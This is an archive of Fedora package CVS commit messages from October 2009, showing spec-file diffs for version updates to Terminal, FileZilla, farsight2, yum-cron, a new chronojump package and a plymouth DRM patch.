+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 %files -f %{name}.lang
 %defattr(-,root,root)
 %doc README ChangeLog NEWS COPYING AUTHORS HACKING THANKS
@@ -68,6 +68,10 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
+- Update to 0.4.2
+- Update icon cache scriptlets
+
 * Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
 - Update to 0.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Oct 2009 22:07:59 -0000	1.12
+++ sources	6 Oct 2009 21:39:19 -0000	1.13
@@ -1 +1 @@
-28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2
+9754afef6b79fa1df9aaf41fb8cc6374  Terminal-0.4.2.tar.bz2



From cwickert at fedoraproject.org  Tue Oct  6 22:06:18 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue,  6 Oct 2009 22:06:18 +0000 (UTC)
Subject: rpms/Terminal/F-11 .cvsignore, 1.10, 1.11 Terminal.spec, 1.27,
	1.28 sources, 1.10, 1.11
Message-ID: <20091006220618.B6ACF11C0297@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25040/F-11

Modified Files:
	.cvsignore Terminal.spec sources 
Log Message:
* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
- Update to 0.4.2
- Update icon cache scriptlets



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	1 Oct 2009 22:46:50 -0000	1.10
+++ .cvsignore	6 Oct 2009 22:06:17 -0000	1.11
@@ -1 +1 @@
-Terminal-0.4.1.tar.bz2
+Terminal-0.4.2.tar.bz2


Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-11/Terminal.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- Terminal.spec	1 Oct 2009 22:46:50 -0000	1.27
+++ Terminal.spec	6 Oct 2009 22:06:18 -0000	1.28
@@ -1,6 +1,6 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.4.1
+Version: 0.4.2
 Release: 1%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
@@ -41,17 +41,17 @@ desktop-file-install                    
 rm -rf $RPM_BUILD_ROOT
 
 %post
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 %postun
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 %files -f %{name}.lang
 %defattr(-,root,root)
 %doc README ChangeLog NEWS COPYING AUTHORS HACKING THANKS
@@ -68,6 +68,10 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
+- Update to 0.4.2
+- Update icon cache scriptlets
+
 * Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
 - Update to 0.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-11/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	1 Oct 2009 22:46:50 -0000	1.10
+++ sources	6 Oct 2009 22:06:18 -0000	1.11
@@ -1 +1 @@
-28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2
+9754afef6b79fa1df9aaf41fb8cc6374  Terminal-0.4.2.tar.bz2



From cwickert at fedoraproject.org  Tue Oct  6 22:06:18 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Tue,  6 Oct 2009 22:06:18 +0000 (UTC)
Subject: rpms/Terminal/F-12 .cvsignore, 1.12, 1.13 Terminal.spec, 1.31,
	1.32 sources, 1.12, 1.13
Message-ID: <20091006220618.B617711C00C1@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/Terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25040/F-12

Modified Files:
	.cvsignore Terminal.spec sources 
Log Message:
* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
- Update to 0.4.2
- Update icon cache scriptlets



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	1 Oct 2009 22:14:59 -0000	1.12
+++ .cvsignore	6 Oct 2009 22:06:16 -0000	1.13
@@ -1 +1 @@
-Terminal-0.4.1.tar.bz2
+Terminal-0.4.2.tar.bz2


Index: Terminal.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-12/Terminal.spec,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- Terminal.spec	1 Oct 2009 22:14:59 -0000	1.31
+++ Terminal.spec	6 Oct 2009 22:06:16 -0000	1.32
@@ -1,6 +1,6 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.4.1
+Version: 0.4.2
 Release: 1%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
@@ -41,17 +41,17 @@ desktop-file-install                    
 rm -rf $RPM_BUILD_ROOT
 
 %post
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
-fi
+touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
 
 %postun
-touch --no-create %{_datadir}/icons/hicolor
-if [ -x %{_bindir}/gtk-update-icon-cache ] ; then
-  %{_bindir}/gtk-update-icon-cache --quiet %{_datadir}/icons/hicolor || :
+if [ $1 -eq 0 ] ; then
+    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
+    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
 fi
 
+%posttrans
+gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
+
 %files -f %{name}.lang
 %defattr(-,root,root)
 %doc README ChangeLog NEWS COPYING AUTHORS HACKING THANKS
@@ -68,6 +68,10 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Tue Oct 06 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.2-1
+- Update to 0.4.2
+- Update icon cache scriptlets
+
 * Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
 - Update to 0.4.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Terminal/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	1 Oct 2009 22:14:58 -0000	1.12
+++ sources	6 Oct 2009 22:06:16 -0000	1.13
@@ -1 +1 @@
-28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2
+9754afef6b79fa1df9aaf41fb8cc6374  Terminal-0.4.2.tar.bz2



From kwizart at fedoraproject.org  Tue Oct  6 22:06:31 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue,  6 Oct 2009 22:06:31 +0000 (UTC)
Subject: rpms/filezilla/devel sources, 1.45, 1.46 filezilla.spec, 1.51,
	1.52 .cvsignore, 1.41, 1.42
Message-ID: <20091006220631.7D1C811C00C1@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25087

Modified Files:
	sources filezilla.spec .cvsignore 
Log Message:
* Wed Oct  7 2009 kwizart < kwizart at gmail.com > - 3.2.8-1
- Update to 3.2.8



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	3 Oct 2009 14:07:40 -0000	1.45
+++ sources	6 Oct 2009 22:06:31 -0000	1.46
@@ -1 +1 @@
-226146de47f95c7d2c5386a9c20f1976  FileZilla_3.2.8-rc1_src.tar.bz2
+dfba22a167266bfdd891d47c2434eada  FileZilla_3.2.8_src.tar.bz2


Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/filezilla.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- filezilla.spec	3 Oct 2009 14:07:40 -0000	1.51
+++ filezilla.spec	6 Oct 2009 22:06:31 -0000	1.52
@@ -1,8 +1,8 @@
-%global fz_rc   rc1
+#global fz_rc   rc1
 
 Name:           filezilla
 Version:        3.2.8
-Release:        0.1%{?fz_rc:_%{?fz_rc}}%{?dist}
+Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
 Group:          Applications/Internet
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Wed Oct  7 2009 kwizart < kwizart at gmail.com > - 3.2.8-1
+- Update to 3.2.8
+
 * Sat Oct  3 2009 kwizart < kwizart at gmail.com > - 3.2.8-0.1-rc1
 - Update to 3.2.8-rc1
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/devel/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	3 Oct 2009 14:07:40 -0000	1.41
+++ .cvsignore	6 Oct 2009 22:06:31 -0000	1.42
@@ -1 +1 @@
-FileZilla_3.2.8-rc1_src.tar.bz2
+FileZilla_3.2.8_src.tar.bz2



From bpepple at fedoraproject.org  Tue Oct  6 22:06:42 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Tue,  6 Oct 2009 22:06:42 +0000 (UTC)
Subject: rpms/farsight2/devel .cvsignore, 1.10, 1.11 farsight2.spec, 1.18,
	1.19 sources, 1.10, 1.11
Message-ID: <20091006220642.75BFA11C00C1@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/farsight2/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25236

Modified Files:
	.cvsignore farsight2.spec sources 
Log Message:
* Tue Oct  6 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.16-1
- Update to 0.0.16.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	3 Sep 2009 23:01:29 -0000	1.10
+++ .cvsignore	6 Oct 2009 22:06:42 -0000	1.11
@@ -1 +1 @@
-farsight2-0.0.15.tar.gz
+farsight2-0.0.16.tar.gz


Index: farsight2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/devel/farsight2.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- farsight2.spec	17 Sep 2009 21:02:14 -0000	1.18
+++ farsight2.spec	6 Oct 2009 22:06:42 -0000	1.19
@@ -6,8 +6,8 @@
 %define gst_python 0.10.10
 
 Name:           farsight2
-Version:        0.0.15
-Release:        2%{?dist}
+Version:        0.0.16
+Release:        1%{?dist}
 Summary:        Libraries for videoconferencing
 
 Group:          System Environment/Libraries
@@ -118,6 +118,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct  6 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.16-1
+- Update to 0.0.16.
+
 * Thu Sep 17 2009 Bastien Nocera <bnocera at redhat.com> 0.0.15-2
 - Rebuild for new gupnp
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/farsight2/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	3 Sep 2009 23:01:29 -0000	1.10
+++ sources	6 Oct 2009 22:06:42 -0000	1.11
@@ -1 +1 @@
-563ae54fb4df477eaf11e047e1550df7  farsight2-0.0.15.tar.gz
+ca6261e19cfcfe8a6e5e51b8c2f5ad16  farsight2-0.0.16.tar.gz



From kwizart at fedoraproject.org  Tue Oct  6 22:07:46 2009
From: kwizart at fedoraproject.org (Nicolas Chauvet)
Date: Tue,  6 Oct 2009 22:07:46 +0000 (UTC)
Subject: rpms/filezilla/F-12 sources,1.45,1.46 filezilla.spec,1.51,1.52
Message-ID: <20091006220746.5815A11C00C1@cvs1.fedora.phx.redhat.com>

Author: kwizart

Update of /cvs/pkgs/rpms/filezilla/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25721

Modified Files:
	sources filezilla.spec 
Log Message:
- Update to 3.2.8



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/sources,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- sources	3 Oct 2009 14:09:43 -0000	1.45
+++ sources	6 Oct 2009 22:07:46 -0000	1.46
@@ -1 +1 @@
-226146de47f95c7d2c5386a9c20f1976  FileZilla_3.2.8-rc1_src.tar.bz2
+dfba22a167266bfdd891d47c2434eada  FileZilla_3.2.8_src.tar.bz2


Index: filezilla.spec
===================================================================
RCS file: /cvs/pkgs/rpms/filezilla/F-12/filezilla.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- filezilla.spec	3 Oct 2009 14:09:43 -0000	1.51
+++ filezilla.spec	6 Oct 2009 22:07:46 -0000	1.52
@@ -1,8 +1,8 @@
-%global fz_rc   rc1
+#global fz_rc   rc1
 
 Name:           filezilla
 Version:        3.2.8
-Release:        0.1%{?fz_rc:_%{?fz_rc}}%{?dist}
+Release:        1%{?fz_rc:_%{?fz_rc}}%{?dist}
 Summary:        FileZilla FTP, FTPS and SFTP client
 
 Group:          Applications/Internet
@@ -119,6 +119,9 @@ fi || :
 
 
 %changelog
+* Wed Oct  7 2009 kwizart < kwizart at gmail.com > - 3.2.8-1
+- Update to 3.2.8
+
 * Sat Oct  3 2009 kwizart < kwizart at gmail.com > - 3.2.8-0.1-rc1
 - Update to 3.2.8-rc1
 



From habig at fedoraproject.org  Tue Oct  6 22:15:06 2009
From: habig at fedoraproject.org (Alec Thomas Habig)
Date: Tue,  6 Oct 2009 22:15:06 +0000 (UTC)
Subject: rpms/yum-cron/devel .cvsignore, 1.10, 1.11 import.log, 1.3,
	1.4 sources, 1.10, 1.11 yum-cron.spec, 1.15, 1.16
Message-ID: <20091006221506.97CFB11C00C1@cvs1.fedora.phx.redhat.com>

Author: habig

Update of /cvs/pkgs/rpms/yum-cron/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28740/devel

Modified Files:
	.cvsignore import.log sources yum-cron.spec 
Log Message:
* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
  random delay to 60 minutes from 120 to reduce the cost.
- Eliminate the weekly package cleaning script.  Replace with logic in the daily script
  to clean the packages and the metadata once per week (otherwise corrupted metadata messes
  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
  bug 524461.
- Use find to clear stale locks at start of run, so add findutils req.




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	11 Aug 2009 00:04:53 -0000	1.10
+++ .cvsignore	6 Oct 2009 22:15:05 -0000	1.11
@@ -1 +1 @@
-yum-cron-0.8.4.tar.gz
+yum-cron-0.9.0.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	21 Aug 2009 19:30:56 -0000	1.3
+++ import.log	6 Oct 2009 22:15:06 -0000	1.4
@@ -1,3 +1,4 @@
 yum-cron-0_8_3-1_fc10:HEAD:yum-cron-0.8.3-1.fc10.src.rpm:1229296060
 yum-cron-0_8_4-1_fc11:HEAD:yum-cron-0.8.4-1.fc11.src.rpm:1249949003
 yum-cron-0_8_4-2_fc11:HEAD:yum-cron-0.8.4-2.fc11.src.rpm:1250883009
+yum-cron-0_9_0-1_fc11:HEAD:yum-cron-0.9.0-1.fc11.src.rpm:1254867260


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	11 Aug 2009 00:04:53 -0000	1.10
+++ sources	6 Oct 2009 22:15:06 -0000	1.11
@@ -1 +1 @@
-c80fd195f7b1eaaa42198693960a2171  yum-cron-0.8.4.tar.gz
+bad2ff53cb924a964c4909f24e6f34b3  yum-cron-0.9.0.tar.gz


Index: yum-cron.spec
===================================================================
RCS file: /cvs/pkgs/rpms/yum-cron/devel/yum-cron.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- yum-cron.spec	21 Aug 2009 19:30:56 -0000	1.15
+++ yum-cron.spec	6 Oct 2009 22:15:06 -0000	1.16
@@ -1,7 +1,7 @@
 Summary: Files needed to run yum updates as a cron job
 Name: yum-cron
-Version: 0.8.4
-Release: 2%{?dist}
+Version: 0.9.0
+Release: 1%{?dist}
 URL: http://linux.duke.edu/yum/
 # This is a Red Hat maintained package which is specific to
 # our distribution.  Thus the source is only available from
@@ -10,7 +10,7 @@ Source0: %{name}-%{version}.tar.gz
 License: GPLv2
 Group: System Environment/Base
 BuildArch: noarch
-Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils
+Requires: yum >= 3.0 vixie-cron crontabs yum-downloadonly mailx policycoreutils findutils
 Requires(post): /sbin/chkconfig
 Requires(post): /sbin/service
 Requires(preun): /sbin/chkconfig
@@ -31,10 +31,10 @@ rather than the newer yum-updatesd daemo
 
 %install
 rm -rf $RPM_BUILD_ROOT
-install -D -m 755 yum.cron.daily $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/yum.cron
-install -D -m 755 yum.cron.weekly $RPM_BUILD_ROOT/%{_sysconfdir}/cron.weekly/yum.cron
+install -D -m 755 0yum.cron $RPM_BUILD_ROOT/%{_sysconfdir}/cron.daily/0yum.cron
 install -D -m 755 yum-cron $RPM_BUILD_ROOT/%{_sysconfdir}/rc.d/init.d/yum-cron
 install -D -m 644 yum-daily.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-daily.yum
+install -D -m 644 yum-weekly.yum $RPM_BUILD_ROOT/%{_sysconfdir}/yum/yum-weekly.yum
 install -D -m 644 yum-cron.sysconf $RPM_BUILD_ROOT/%{_sysconfdir}/sysconfig/yum-cron
 
 %clean
@@ -84,13 +84,23 @@ exit 0
 %files
 %defattr(-,root,root)
 %doc COPYING README
-%{_sysconfdir}/cron.daily/yum.cron
-%{_sysconfdir}/cron.weekly/yum.cron
+%{_sysconfdir}/cron.daily/0yum.cron
 %config(noreplace) %{_sysconfdir}/yum/yum-daily.yum
+%config(noreplace) %{_sysconfdir}/yum/yum-weekly.yum
 %{_sysconfdir}/rc.d/init.d/yum-cron
 %config(noreplace) %{_sysconfdir}/sysconfig/yum-cron
 
 %changelog
+* Tue Oct 6 2009 Alec Habig <ahabig at umn.edu> - 0.9.0-1
+- Change cron file to 0yum.cron, so yum updates things before the other daily jobs
+  such as makewhatis, prelink, updatedb, etc run.  That way updated files get picked up
+  properly.  Cost - those jobs will run later.  Resolves bug 445894.  Changed default
+  random delay to 60 minutes from 120 to reduce the cost.
+- Eliminate the weekly package cleaning script.  Replace with logic in the daily script 
+  to clean the packages and the metadata once per week (otherwise corrupted metadata messes 
+  things up indefinitely).  Resolves bug 526452.  Removal of seperate weekly script resolves
+  bug 524461. 
+- Use find to clear stale locks at start of run, so add findutils req.
 * Fri Aug 21 2009 Alec Habig <ahabig at umn.edu> - 0.8.4-2
 - pushing to updates-testing to resolve bug 515814, dealing with stale lockfiles
 



From olea at fedoraproject.org  Tue Oct  6 23:17:48 2009
From: olea at fedoraproject.org (Ismael Olea)
Date: Tue,  6 Oct 2009 23:17:48 +0000 (UTC)
Subject: rpms/chronojump/devel chronojump.spec, NONE, 1.1 import.log, NONE, 
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091006231748.986E511C00C1@cvs1.fedora.phx.redhat.com>

Author: olea

Update of /cvs/pkgs/rpms/chronojump/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21955/devel

Modified Files:
	.cvsignore sources 
Added Files:
	chronojump.spec import.log 
Log Message:
importing chronojump



--- NEW FILE chronojump.spec ---
Name:           chronojump
Version:        0.8.11
Release:        2%{?dist}
Summary:        A measurement, management and statistics sport testing tool

Group:          Applications/Engineering
License:        GPLv2+
URL:            http://chronojump.org
Source0:        http://ftp.gnome.org/pub/GNOME/sources/chronojump/0.8/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  pkgconfig mono-data-sqlite gtk-sharp2 gtk-sharp2-devel desktop-file-utils gettext mono-devel
Requires:       R-core hicolor-icon-theme

%description
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

Chronojump uses a contact platform and/or photocells, 
and also a chronometer printed circuit designed ad-hoc in
order to obtain precise and trustworthy measurements.

Chronojump is used by trainers, teachers and students.

%package        doc
Summary:        ChronoJump manuals
Group:          Documentation
Requires:       %{name} = %{version}-%{release}
BuildArch:      noarch

%description doc
ChronoJump is an open hardware, free software, multiplatform complete system
for measurement, management and statistics of sport short-time tests.

These are the manuals for ChronoJump

%prep
%setup -q
TMP=`mktemp`
sed -e "s/share\/doc\/chronojump/share\/doc\/chronojump-%{version}/g" src/util.cs > $TMP
mv $TMP src/util.cs

%build
%configure
make %{?_smp_mflags}

cat > src/chronojump <<EOF
#!/bin/sh

exec mono "%{_libdir}/chronojump/Chronojump.exe" "\$@"
EOF

%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}

# this file should be in the standard dir
rm %{buildroot}/%{_datadir}/doc/chronojump/chronojump_manual_es.pdf

# removing non used files:
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.a
rm %{buildroot}/%{_libdir}/chronojump/libchronopic.la

desktop-file-install --dir=%{buildroot}%{_datadir}/applications/   %{buildroot}%{_datadir}/applications/chronojump.desktop

%find_lang %{name}

%clean
rm -rf %{buildroot}

%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-desktop-database &> /dev/null || :

%postun
if [ $1 -eq 0 ] ; then
    touch --no-create %{_datadir}/icons/hicolor &>/dev/null
    gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-desktop-database &> /dev/null || :

%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%{_bindir}/chronojump
%{_bindir}/chronojump_mini
%{_bindir}/chronojump-test-accuracy
%{_bindir}/chronojump-test-jumps
%{_bindir}/chronojump-test-stream
%dir %{_libdir}/chronojump
%{_libdir}/chronojump/*
%dir %{_datadir}/chronojump
%{_datadir}/chronojump/*
%{_datadir}/icons/hicolor/48x48/apps/chronojump.png
%{_datadir}/applications/chronojump.desktop

%doc README COPYING AUTHORS 

%files doc
%defattr(-,root,root,-)
%doc manual/chronojump_manual_es.pdf

%changelog

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-2
- Fixing doc path

* Mon Sep 28 2009 <ismael at olea.org> 0.8.11-1
- Update 0.8.11

* Tue Sep 22 2009 <ismael at olea.org> 0.8.10-2
- fixing suggestions from https://bugzilla.redhat.com/show_bug.cgi?id=524707#c3
- added forgotten update-desktop-database calls

* Mon Sep 21 2009 <ismael at olea.org> 0.8.10-1
- update to 0.8.10

* Thu Aug 27 2009 <ismael at olea.org> 0.8.9.5-3
- added doc subpackage

* Wed Aug 26 2009 <ismael at olea.org> 0.8.9.5-2
- minor spec typos
- Use %%find_lang.
- added ldconfig invocation
- removed libchronopic.la

* Tue Aug 25 2009 <ismael at olea.org> 0.8.9.5-1
- first release


--- NEW FILE import.log ---
chronojump-0_8_11-2_olea:HEAD:chronojump-0.8.11-2.olea.src.rpm:1254870981


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 21:30:57 -0000	1.1
+++ .cvsignore	6 Oct 2009 23:17:44 -0000	1.2
@@ -0,0 +1 @@
+chronojump-0.8.11.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/chronojump/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 21:30:57 -0000	1.1
+++ sources	6 Oct 2009 23:17:45 -0000	1.2
@@ -0,0 +1 @@
+37497f95e5140241aa128c6da482f963  chronojump-0.8.11.tar.gz



From rstrode at fedoraproject.org  Tue Oct  6 23:21:59 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Tue,  6 Oct 2009 23:21:59 +0000 (UTC)
Subject: rpms/plymouth/F-12 fix-firstboot-on-intel.patch, NONE,
	1.1 plymouth.spec, 1.150, 1.151
Message-ID: <20091006232159.4863111C00C1@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/plymouth/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24013

Modified Files:
	plymouth.spec 
Added Files:
	fix-firstboot-on-intel.patch 
Log Message:
- Prevent firstboot's X from crashing on intel hardware


fix-firstboot-on-intel.patch:
 plugin.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE fix-firstboot-on-intel.patch ---
>From 3228d0534dc35e9afb87702a78555598fda61a87 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
Date: Tue, 6 Oct 2009 19:07:41 -0400
Subject: [drm] Destroy console buffer object when done with it

---
 src/plugins/renderers/drm/plugin.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/src/plugins/renderers/drm/plugin.c b/src/plugins/renderers/drm/plugin.c
index d317e2a..22a4394 100644
--- a/src/plugins/renderers/drm/plugin.c
+++ b/src/plugins/renderers/drm/plugin.c
@@ -855,6 +855,9 @@ ply_renderer_head_set_scan_out_buffer_to_console (ply_renderer_backend_t *backen
   ply_renderer_head_set_scan_out_buffer (backend,
                                          head, head->console_buffer_id);
 
+  backend->driver_interface->destroy_buffer (backend->driver,
+                                             head->console_buffer_id);
+
   if (pixel_buffer != NULL)
     ply_pixel_buffer_free (pixel_buffer);
 
-- 
1.6.5.rc2



Index: plymouth.spec
===================================================================
RCS file: /cvs/pkgs/rpms/plymouth/F-12/plymouth.spec,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- plymouth.spec	5 Oct 2009 21:43:30 -0000	1.150
+++ plymouth.spec	6 Oct 2009 23:21:59 -0000	1.151
@@ -5,7 +5,7 @@
 Summary: Graphical Boot Animation and Logger
 Name: plymouth
 Version: 0.8.0
-Release: 0.2009.29.09.3%{?dist}
+Release: 0.2009.29.09.4%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source0: http://freedesktop.org/software/plymouth/releases/%{name}-%{version}.tar.bz2
@@ -31,6 +31,7 @@ Obsoletes: plymouth-theme-pulser < 0.7.0
 
 Patch0: fix-2nd-show-splash.patch
 Patch1: fix-text-password-crash.patch
+Patch2: fix-firstboot-on-intel.patch
 
 %description
 Plymouth provides an attractive graphical boot animation in
@@ -240,6 +241,7 @@ plugin.
 
 %patch0 -p1 -b .fix-2nd-show-splash
 %patch1 -p1 -b .fix-text-password-crash
+%patch2 -p1 -b .fix-firstboot-on-intel
 
 %build
 %configure --enable-tracing --disable-tests --without-boot-entry \
@@ -457,6 +459,9 @@ fi
 %defattr(-, root, root)
 
 %changelog
+* Tue Oct 06 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.4
+- Prevent firstboot's X from crashing on intel hardware
+
 * Mon Oct 05 2009 Ray Strode <rstrode at redhat.com> 0.8.0-0.2009.29.09.3
 - Fix crasher in text plugin after password prompt (bug 526652)
 - Actually apply the patch mentioned in 2009.29.09.2



From olea at fedoraproject.org  Tue Oct  6 23:22:30 2009
From: olea at fedoraproject.org (Ismael Olea)
